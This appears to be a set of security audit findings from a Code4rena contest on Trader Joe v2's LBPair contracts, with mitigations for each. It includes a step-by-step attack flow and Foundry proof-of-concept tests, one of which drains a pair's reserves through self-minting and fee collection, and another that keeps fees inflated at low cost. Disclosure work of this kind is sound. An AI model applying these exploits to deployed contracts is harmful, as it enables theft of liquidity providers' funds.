Trader Joe v2 contest - Trust's results

Lines of code

https://github.com/code-423n4/2022-10-traderjoe/blob/79f25d48b907f9d0379dd803fc2abc9c5f57db93/src/LBPair.sol#L915

Vulnerability details

Description

Factory owner can configure fee parameters of any pair using setFeesParametersOnPair(). The actual change in pair storage happens in _setFeeParameters:

    function _setFeesParameters(bytes32 _packedFeeParameters) internal {
        bytes32 _feeStorageSlot;
        assembly {
            _feeStorageSlot := sload(_feeParameters.slot)
        }

        uint256 _varParameters = _feeStorageSlot.decode(type(uint112).max, _OFFSET_VARIABLE_FEE_PARAMETERS);
        uint256 _newFeeParameters = _packedFeeParameters.decode(type(uint144).max, 0);

        assembly {
            sstore(_feeParameters.slot, or(_newFeeParameters, _varParameters))
        }
    }

The _feeParameters structure looks like so:

    struct FeeParameters {
        uint16 binStep;
        uint16 baseFactor;
        uint16 filterPeriod;
        uint16 decayPeriod;
        uint16 reductionFactor;
        uint24 variableFeeControl;
        uint16 protocolShare;
        uint24 maxVolatilityAccumulated;
        uint24 volatilityAccumulated;
        uint24 volatilityReference;
        uint24 indexRef;
        uint40 time;
    }

It's important to understand that the first 144 bytes, up to volatilityAccumulated, are the static variables, whilte the last 112 bytes are dynamic (updated on swaps). The fee update attempts to merge the existing dynamic members with the new static fields.

The massive issue is that the decoded _varParameters are not shifted back left 112 bytes before the or() merge operation. As a result, the variable parameters override the first 112 bytes of the static fee parameters.

This has dire consequences because binStep which is capped at 100 can now be UINT16_MAX, as can be baseFactor that is capped at 5000. getBaseFee() calculates the base fee:

    function getBaseFee(FeeParameters memory _fp) internal pure returns (uint256) {
        unchecked {
            return uint256(_fp.baseFactor) * _fp.binStep * 1e10;
        }
    }

The new base fee can be up to UINT16_MAX * UINT16_MAX * 1e10 = 4e19. The fee denominator is 1e18. This means the system can take up to 100% of the amount as fees. This is actually quite likely as the lower 8 bits of volatilityReference will corrupt the upper 8 bits of base factor.

//Example:
a = FeeParameters(1,2,3,4,5,6,7,8,9,0xa,0xb,0xc);
//Storage slot
0x000000000c00000b00000a000009000008000700000600050004000300020001

Impact

When admin sets fee parameters on a pair, it is guaranteed to corrupt the critical static fee parameters.

Proof of Concept

I've taken the testSetFeesParametersOnPair() which normally passes, added a single swap before it, and now it fails.

Add this test in LBPair.Fees.t.sol:

    function testBadSetFees() public {
        addLiquidity(100e18, ID_ONE, 51, 5);
        token6D.mint(address(pair), 10e18);
        pair.swap(true, ALICE);

        {
            factory.setFeesParametersOnPair(
                token6D,
                token18D,
                DEFAULT_BIN_STEP,
                DEFAULT_BASE_FACTOR - 1,
                DEFAULT_FILTER_PERIOD - 1,
                DEFAULT_DECAY_PERIOD - 1,
                DEFAULT_REDUCTION_FACTOR - 1,
                DEFAULT_VARIABLE_FEE_CONTROL - 1,
                DEFAULT_PROTOCOL_SHARE - 1,
                DEFAULT_MAX_VOLATILITY_ACCUMULATED - 1
            );

            FeeHelper.FeeParameters memory feeParameters = pair.feeParameters();
            assertEq(feeParameters.volatilityAccumulated, 0);
            assertEq(feeParameters.time, 0);
            assertEq(feeParameters.binStep, DEFAULT_BIN_STEP);
            assertEq(feeParameters.baseFactor, DEFAULT_BASE_FACTOR - 1);
            assertEq(feeParameters.filterPeriod, DEFAULT_FILTER_PERIOD - 1);
            assertEq(feeParameters.decayPeriod, DEFAULT_DECAY_PERIOD - 1);
            assertEq(feeParameters.reductionFactor, DEFAULT_REDUCTION_FACTOR - 1);
            assertEq(feeParameters.variableFeeControl, DEFAULT_VARIABLE_FEE_CONTROL - 1);
            assertEq(feeParameters.protocolShare, DEFAULT_PROTOCOL_SHARE - 1);
            assertEq(feeParameters.maxVolatilityAccumulated, DEFAULT_MAX_VOLATILITY_ACCUMULATED - 1);
        }
    }

Tools Used

Manual audit

Recommended Mitigation Steps

The dynamic parameters need to be shifted left before the or() operation. Also, consider adding more stateful operations in tests so that issues like this can be detected quickly.

Lines of code

https://github.com/code-423n4/2022-10-traderjoe/blob/79f25d48b907f9d0379dd803fc2abc9c5f57db93/src/LBPair.sol#L819-L829 https://github.com/code-423n4/2022-10-traderjoe/blob/79f25d48b907f9d0379dd803fc2abc9c5f57db93/src/LBToken.sol#L202

Vulnerability details

Description

Similar to other LP pools, In Trader Joe users can call mint() to provide liquidity and receive LP tokens, and burn() to return their LP tokens in exchange for underlying assets. Users collect fees using collectFess(account,binID). Fees are implemented using debt model. The fundamental fee calculation is:

    function _getPendingFees(
        Bin memory _bin,
        address _account,
        uint256 _id,
        uint256 _balance
    ) private view returns (uint256 amountX, uint256 amountY) {
        Debts memory _debts = _accruedDebts[_account][_id];

        amountX = _bin.accTokenXPerShare.mulShiftRoundDown(_balance, Constants.SCALE_OFFSET) - _debts.debtX;
        amountY = _bin.accTokenYPerShare.mulShiftRoundDown(_balance, Constants.SCALE_OFFSET) - _debts.debtY;
    }

accTokenXPerShare / accTokenYPerShare is an ever increasing amount that is updated when swap fees are paid to the current active bin.

When liquidity is first minted to user, the _accruedDebts is updated to match current _balance * accToken*PerShare. Without this step, user could collect fees for the entire growth of accToken*PerShare from zero to current value. This is done in _updateUserDebts, called by _cacheFees() which is called by _beforeTokenTransfer(), the token transfer hook triggered on mint/burn/transfer.

    function _updateUserDebts(
        Bin memory _bin,
        address _account,
        uint256 _id,
        uint256 _balance
    ) private {
        uint256 _debtX = _bin.accTokenXPerShare.mulShiftRoundDown(_balance, Constants.SCALE_OFFSET);
        uint256 _debtY = _bin.accTokenYPerShare.mulShiftRoundDown(_balance, Constants.SCALE_OFFSET);

        _accruedDebts[_account][_id].debtX = _debtX;
        _accruedDebts[_account][_id].debtY = _debtY;
    }

The critical problem lies in _beforeTokenTransfer:

if (_from != _to) {
    if (_from != address(0) && _from != address(this)) {
        uint256 _balanceFrom = balanceOf(_from, _id);
        _cacheFees(_bin, _from, _id, _balanceFrom, _balanceFrom - _amount);
    }
    if (_to != address(0) && _to != address(this)) {
        uint256 _balanceTo = balanceOf(_to, _id);
        _cacheFees(_bin, _to, _id, _balanceTo, _balanceTo + _amount);
    }
}

Note that if _from or _to is the LBPair contract itself, _cacheFees won't be called on _from or _to respectively. This was presumably done because it is not expected that the LBToken address will receive any fees. It is expected that the LBToken will only hold tokens when user sends LP tokens to burn.

This is where the bug manifests - the LBToken address (and 0 address), will collect freshly minted LP token's fees from 0 to current accToken*PerShare value.

We can exploit this bug to collect the entire reserve assets. The attack flow is:

• Transfer amount X to pair
• Call pair.mint(), with the to address = pair address
• call collectFees() with pair address as account -> pair will send to itself the fees! It is interesting that both OZ ERC20 implementation and LBToken implementation allow this, otherwise this exploit chain would not work
• Pair will now think user sent in money, because the bookkeeping is wrong. _pairInformation.feesX.total is decremented in collectFees(), but the balance did not change. Therefore, this calculation will credit attacker with the fees collected into the pool:

uint256 _amountIn = _swapForY
    ? tokenX.received(_pair.reserveX, _pair.feesX.total)
    : tokenY.received(_pair.reserveY, _pair.feesY.total);

• Attacker calls swap() and receives reserve assets using the fees collected.
• Attacker calls burn(), passing their own address in _to parameter. This will successfully burn the minted tokens from step 1 and give Attacker their deposited assets.

Note that if the contract did not have the entire collectFees code in an unchecked block, the loss would be limited to the total fees accrued:

if (amountX != 0) {
    _pairInformation.feesX.total -= uint128(amountX);
}
if (amountY != 0) {
    _pairInformation.feesY.total -= uint128(amountY);
}

If attacker would try to overflow the feesX/feesY totals, the call would revert. Unfortunately, because of the unchecked block feesX/feesY would overflow and therefore there would be no problem for attacker to take the entire reserves.

Impact

Attacker can steal the entire reserves of the LBPair.

Proof of Concept

Paste this test in LBPair.Fees.t.sol:

    function testAttackerStealsReserve() public {
        uint256 amountY=  53333333333333331968;
        uint256 amountX = 100000;

        uint256 amountYInLiquidity = 100e18;
        uint256 totalFeesFromGetSwapX;
        uint256 totalFeesFromGetSwapY;

        addLiquidity(amountYInLiquidity, ID_ONE, 5, 0);
        uint256 id;
        (,,id ) = pair.getReservesAndId();
        console.log("id before" , id);

        //swap X -> Y and accrue X fees
        (uint256 amountXInForSwap, uint256 feesXFromGetSwap) = router.getSwapIn(pair, amountY, true);
        totalFeesFromGetSwapX += feesXFromGetSwap;

        token6D.mint(address(pair), amountXInForSwap);
        vm.prank(ALICE);
        pair.swap(true, DEV);
        (uint256 feesXTotal, , uint256 feesXProtocol, ) = pair.getGlobalFees();

        (,,id ) = pair.getReservesAndId();
        console.log("id after" , id);


        console.log("Bob balance:");
        console.log(token6D.balanceOf(BOB));
        console.log(token18D.balanceOf(BOB));
        console.log("-------------");

        uint256 amount0In = 100e18;

        uint256[] memory _ids = new uint256[](1); _ids[0] = uint256(ID_ONE);
        uint256[] memory _distributionX = new uint256[](1); _distributionX[0] = uint256(Constants.PRECISION);
        uint256[] memory _distributionY = new uint256[](1); _distributionY[0] = uint256(0);

        console.log("Minting for BOB:");
        console.log(amount0In);
        console.log("-------------");

        token6D.mint(address(pair), amount0In);
        //token18D.mint(address(pair), amount1In);
        pair.mint(_ids, _distributionX, _distributionY, address(pair));
        uint256[] memory amounts = new uint256[](1);
        console.log("***");
        for (uint256 i; i < 1; i++) {
            amounts[i] = pair.balanceOf(address(pair), _ids[i]);
            console.log(amounts[i]);
        }
        uint256[] memory profit_ids = new uint256[](1); profit_ids[0] = 8388608;
        (uint256 profit_X, uint256 profit_Y) = pair.pendingFees(address(pair), profit_ids);
        console.log("profit x", profit_X);
        console.log("profit y", profit_Y);
        pair.collectFees(address(pair), profit_ids);
        (uint256 swap_x, uint256 swap_y) = pair.swap(true,BOB);

        console.log("swap x", swap_x);
        console.log("swap y", swap_y);

        console.log("Bob balance after swap:");
        console.log(token6D.balanceOf(BOB));
        console.log(token18D.balanceOf(BOB));
        console.log("-------------");

        console.log("*****");
        pair.burn(_ids, amounts, BOB);


        console.log("Bob balance after burn:");
        console.log(token6D.balanceOf(BOB));
        console.log(token18D.balanceOf(BOB));
        console.log("-------------");

    }

Tools Used

Manual audit, foundry

Recommended Mitigation Steps

Code should not exempt any address from _cacheFees(). Even address(0) is important, because attacker can collectFees for the 0 address to overflow the FeesX/FeesY variables, even though the fees are not retrievable for them.

Lines of code

https://github.com/code-423n4/2022-10-traderjoe/blob/79f25d48b907f9d0379dd803fc2abc9c5f57db93/src/LBPair.sol#L450-L453

Vulnerability details

Description

When users perform flashloan(), the fee paid to the protocol only goes to the current activeID, regardless of the amount of liquidity used. The effect is an unfair distribution of fees, since it could be that the specific bin only provided negligible liquidity, whilst an adjacnet one contributed 99% of it.

This gives rise to many types of MEV attacks that abuse unfairness of rewards. For example, attacker can frontrun the flashloan into their specific bin where they are unique providers (even of just 1 wei) using a swap before the flash loan.

Impact

Liquidity providers get unfair distribution of fees from flash loans. Therefore, the APY of honest LPs is downgraded.

Proof of Concept

Assume active bin is X, there happens to be an empty bin at X-25. Attacker spots a big flashloan() in mempool Attacker frontruns the flashloan() using MEVBoost, swaps tokens until the new bin is X-25. Then attacker mints a tiny LP holding in bin X-25. After flashloan(), attacker backruns and returns the current activeID to X by swapping in the reverse direction. Attacker burns his LP to receive the entire flashloan profit.

Using MEVBoost, attacker is guaranteed both that the TXs are executed atomically, and that they will only pay the TX fee if they are executed. Therefore, they risk nothing by performing this attack.

Tools Used

Manual audit

Recommended Mitigation Steps

Calculate the bins eligible for flashloan fees similarly to how swapAmounts() works when swapping.

Lines of code

https://github.com/code-423n4/2022-10-traderjoe/blob/79f25d48b907f9d0379dd803fc2abc9c5f57db93/src/libraries/FeeHelper.sol#L58-L72

Vulnerability details

Description

The volatile fee component in TJ is calculated using several variables, as described here. Importantly, Va (volatility accumulator) = Vr (volatility reference) + binDelta:

$v_a(k) = v_r + |i_r - (activeId + k)|$

Vr is calculated depending on time passed since last swap:

$v_r = \left{\begin{matrix} v_r, & t<t_f \ R \cdot v_a & t_f <= t < t_d \ 0, & t_d <= t \end{matrix}\right.$

Below is the implementation:

function updateVariableFeeParameters(FeeParameters memory _fp, uint256 _activeId) internal view {
        uint256 _deltaT = block.timestamp - _fp.time;

        if (_deltaT >= _fp.filterPeriod || _fp.time == 0) {
            _fp.indexRef = uint24(_activeId);
            if (_deltaT < _fp.decayPeriod) {
                unchecked {
                    // This can't overflow as `reductionFactor <= BASIS_POINT_MAX`
                    _fp.volatilityReference = uint24(
                        (uint256(_fp.reductionFactor) * _fp.volatilityAccumulated) / Constants.BASIS_POINT_MAX
                    );
                }
            } else {
                _fp.volatilityReference = 0;
            }
        }

        _fp.time = (block.timestamp).safe40();

        updateVolatilityAccumulated(_fp, _activeId);
    }

The critical issue is that when the time since last swap is below filterPeriod, Vr does not change, yet the last swap timestamp (_fp.time) is updated. Therefore, attacker (TJ competitor) can keep fees extremely high at basically 0 cost, by swapping just under every Tf seconds, a zero-ish amount. Since Vr will forever stay the same, the calculated Va will stay high (at least Vr) and will make the protocol completely uncompetitive around the clock.

The total daily cost to the attacker would be  (TX fee (around $0.05 on AVAX)  + swap fee (~0) ) * filterPeriodsInDay (default value is 1728) = $87.

Impact

Attacker can make any TraderJoe pair uncompetitive at negligible cost.

Proof of Concept

Add this test in LBPair.Fees.t.sol:

function testAbuseHighFeesAttack() public {
        uint256 amountY = 30e18;
        uint256 id;
        uint256 reserveX;
        uint256 reserveY;
        uint256 amountXInForSwap;
        uint256 amountYInLiquidity = 100e18;
        FeeHelper.FeeParameters memory feeParams;

        addLiquidity(amountYInLiquidity, ID_ONE, 2501, 0);

        //swap X -> Y and accrue X fees
        (amountXInForSwap,) = router.getSwapIn(pair, amountY, true);

        (reserveX,reserveY,id ) = pair.getReservesAndId();
        feeParams = pair.feeParameters();
        console.log("indexRef - start" , feeParams.indexRef);
        console.log("volatilityReference - start" , feeParams.volatilityReference);
        console.log("volatilityAccumulated - start" , feeParams.volatilityAccumulated);
        console.log("active ID - start" , id);
        console.log("reserveX - start" , reserveX);
        console.log("reserveY - start" , reserveY);

        // ATTACK step 1 - Cross many bins / wait for high volatility period
        token6D.mint(address(pair), amountXInForSwap);
        vm.prank(ALICE);
        pair.swap(true, DEV);

        (reserveX,reserveY,id ) = pair.getReservesAndId();
        feeParams = pair.feeParameters();
        console.log("indexRef - swap1" , feeParams.indexRef);
        console.log("volatilityReference - swap1" , feeParams.volatilityReference);
        console.log("volatilityAccumulated - swap1" , feeParams.volatilityAccumulated);
        console.log("active ID - swap1" , id);
        console.log("reserveX - swap1" , reserveX);
        console.log("reserveY - swap1" , reserveY);

        // ATTACK step 2 - Decay the Va into Vr
        vm.warp(block.timestamp + 99);
        token18D.mint(address(pair), 10);
        vm.prank(ALICE);
        pair.swap(false, DEV);

        (reserveX,reserveY,id ) = pair.getReservesAndId();
        console.log("active ID - swap2" , id);
        console.log("reserveX - swap2" , reserveX);
        console.log("reserveY - swap2" , reserveY);
        feeParams = pair.feeParameters();
        console.log("indexRef - swap2" , feeParams.indexRef);
        console.log("volatilityReference - swap2" , feeParams.volatilityReference);
        console.log("volatilityAccumulated - swap2" , feeParams.volatilityAccumulated);


        // ATTACK step 3 - keep high Vr -> high Va
        for(uint256 i=0;i<10;i++) {
            vm.warp(block.timestamp + 49);

            token18D.mint(address(pair), 10);
            vm.prank(ALICE);
            pair.swap(false, DEV);

            (reserveX,reserveY,id ) = pair.getReservesAndId();
            console.log("**************");
            console.log("ITERATION ", i);
            console.log("active ID" , id);
            console.log("reserveX" , reserveX);
            console.log("reserveY" , reserveY);
            feeParams = pair.feeParameters();
            console.log("indexRef" , feeParams.indexRef);
            console.log("volatilityReference" , feeParams.volatilityReference);
            console.log("volatilityAccumulated" , feeParams.volatilityAccumulated);
            console.log("**************");
        }

    }

Tools Used

Manual audit, foundry

Recommended Mitigation Steps

Several options:

1. Decay linearly to the time since last swap when T < Tf.

2. Don't update _tf.time if swap did not affect Vr

3. If T<Tf, only skip Vr update if swap amount is not negligible. This will make the attack not worth it, as protocol will accrue enough fees to offset the lack of user activity.

Severity level

I argue for HIGH severity because I believe the impact to the protocol is that most users will favor alternative AMMs, which directly translates to a large loss of revenue. AMM is known to be a very competitive market and using high volatility fee % in low volatility times will not attract any users.

Judge has assessed an item in Issue #418 as M risk. The relevant finding follows:

1. LBRouter's swapAVAXForExactTokens not working as intended LBRouter's swapAVAXForExactTokens will only work when sending exact msg.value = amountIn[0]. The functionality which returns excess funds to the user in the last line has mistaken the subtracted and subtracted from amount:

if (msg.value > amountsIn[0]) _safeTransferAVAX(_to, amountsIn[0] - msg.value); This should be fixed as this will impact usability of the router.